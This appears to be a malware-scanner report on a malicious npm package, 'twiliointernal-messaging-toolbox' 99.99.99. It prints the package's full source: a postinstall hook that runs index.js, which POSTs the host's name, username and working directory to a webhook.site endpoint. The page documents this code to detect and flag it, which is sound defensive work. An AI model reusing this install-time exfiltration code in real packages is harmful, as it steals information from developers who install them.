Hostile 100% javascript Download

twiliointernal-messaging-toolbox 99.99.99

Exfiltrates system info to OOB

Sends a serialized Node host profile through an HTTP POSTJavaScript accesses hostname near an OOB endpoint and HTTP request

Also flagged by osv (MAL-2026-10938: Malicious code in twiliointernal-messaging-toolbox (npm)) +2 more.

Evidence

Configures an HTTP POST request index.js · lines 1–18
1const https = require('https');
2const os = require('os');
3const data = JSON.stringify({
4 p: process.env.npm_package_name,
5 hn: os.hostname(),
6 un: os.userInfo().username,
7 cwd: process.cwd(),
8});
9const opts = {
10 hostname: 'webhook.site',
11 path: '/42ce0f0e-a0a0-41b5-b157-1c0f918e064f',
12 method: 'POST',
13 headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
14};
15const req = https.request(opts);
16req.on('error', () => {});
17req.write(data);
18req.end();
Postinstall targets local Node.js file package.json · lines 1–9
1{
2 "name": "twiliointernal-messaging-toolbox",
3 "version": "99.99.99",
4 "description": "",
5 "main": "index.js",
6 "scripts": {
7 "postinstall": "node index.js"
8 }
9}

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.